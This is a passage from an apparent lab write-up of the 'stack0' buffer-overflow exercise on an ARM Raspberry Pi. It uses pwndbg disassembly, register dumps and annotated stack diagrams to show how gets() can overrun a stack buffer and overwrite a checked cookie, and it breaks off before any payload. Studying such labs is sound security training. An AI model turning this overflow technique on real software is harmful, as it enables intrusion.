&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10460&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10464&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is our target.&lt;/p&gt;
&lt;h2 id="call-to-gets"&gt;Call to &lt;code class="none"&gt;gets&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;In the &lt;code class="none"&gt;main&lt;/code&gt; function a call to &lt;code class="none"&gt;gets&lt;/code&gt; is done with a buffer allocated in the stack:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10460&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10464&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10468&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x48&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1046c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10470&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#gets@plt &amp;lt;gets@plt&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nl"&gt;r0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xbefffb6c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;◂—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nl"&gt;r1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xbefffd04&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—▸&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xbefffe14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;◂—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;/home/pi/stack0&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nl"&gt;r2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xbefffd0c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—▸&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xbefffe24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;◂—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;SHELL=/bin/bash&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nl"&gt;r3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xbefffb6c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;◂—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The registers before the call to &lt;code class="none"&gt;gets&lt;/code&gt; were:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;------  ----  ------  ---------  ------  ---------  ------  ------
    r0  1fb4  r1      eeee:eeee  r2      0          r3      1fb4
    r4  0     r5      0          r6      0          r7      0
    r8  0     r9/sb   0          r10     0          r11/fp  1ffc
r12/ip  0     r13/sp  1fa8       r14/lr  aaaa:aaaa  r15/pc  100:20
------  ----  ------  ---------  ------  ---------  ------  ------&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the manually-annotated stack was:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;   &lt;span class="c1"&gt;# &amp;lt;-- from sp to the end of the mapped page&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;r1&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;r0&lt;/span&gt;
  &lt;span class="mh"&gt;0x50&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;zeros&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;-|--&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
   &lt;span class="mh"&gt;0x8&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;
 &lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;----|--&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;lr&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;--&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;stack&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; points &lt;em&gt;almost&lt;/em&gt; to the begin of the bunch of zeros, just 4 bytes below.&lt;/p&gt;
&lt;p&gt;We can verify this writing and inspecting the memory:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;AAAABBBBCCCC&amp;quot;&lt;/span&gt;
&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;
        \&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;
        \&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;
        \&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;    &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;these&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;still&lt;/span&gt; &lt;span class="n"&gt;zeros&lt;/span&gt;
&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;AAAA&lt;/span&gt;
        &lt;span class="n"&gt;BBBB&lt;/span&gt;
        &lt;span class="n"&gt;CCCC&lt;/span&gt;
        \&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;
        &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Indeed, the destination buffer of &lt;code class="none"&gt;gets&lt;/code&gt; has 0x48 - 0x8 bytes (we subtract 4 bytes for the cookie and 4 bytes for the stored &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;r1&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;r0&lt;/span&gt;
  &lt;span class="mh"&gt;0x50&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;
&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;----|--&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AAAA&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="n"&gt;BBBB&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="n"&gt;CCCC&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;zeros&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;-|--&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
   &lt;span class="mh"&gt;0x8&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;
 &lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;----|--&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;lr&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="the-target"&gt;The target&lt;/h2&gt;
&lt;p&gt;The program stores a cookie initialized to zero in the stack &lt;em&gt;before&lt;/em&gt; the call to &lt;code class="none"&gt;gets&lt;/code&gt; and then it checks its value.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10460&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10464&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10470&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#gets@plt &amp;lt;gets@plt&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10474&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10478&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If it is still zero jumps to a &lt;code class="none"&gt;puts&lt;/code&gt; that prints &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nf"&gt;Try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;again?&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But if an overflow occurs, the cookies will be non-zero and another &lt;code class="none"&gt;puts&lt;/code&gt; will executed.&lt;/p&gt;
&lt;p&gt;This is the print that we are looking for:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10480&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x18]&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10484&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#puts@plt &amp;lt;puts@plt&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The address of the string to print is stored in the code segment, 0x18 bytes below the program counter at 0x10480.&lt;/p&gt;
&lt;p&gt;However 0x10480 + 0x18 == 0x10498 is not correct:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10498&lt;/span&gt;
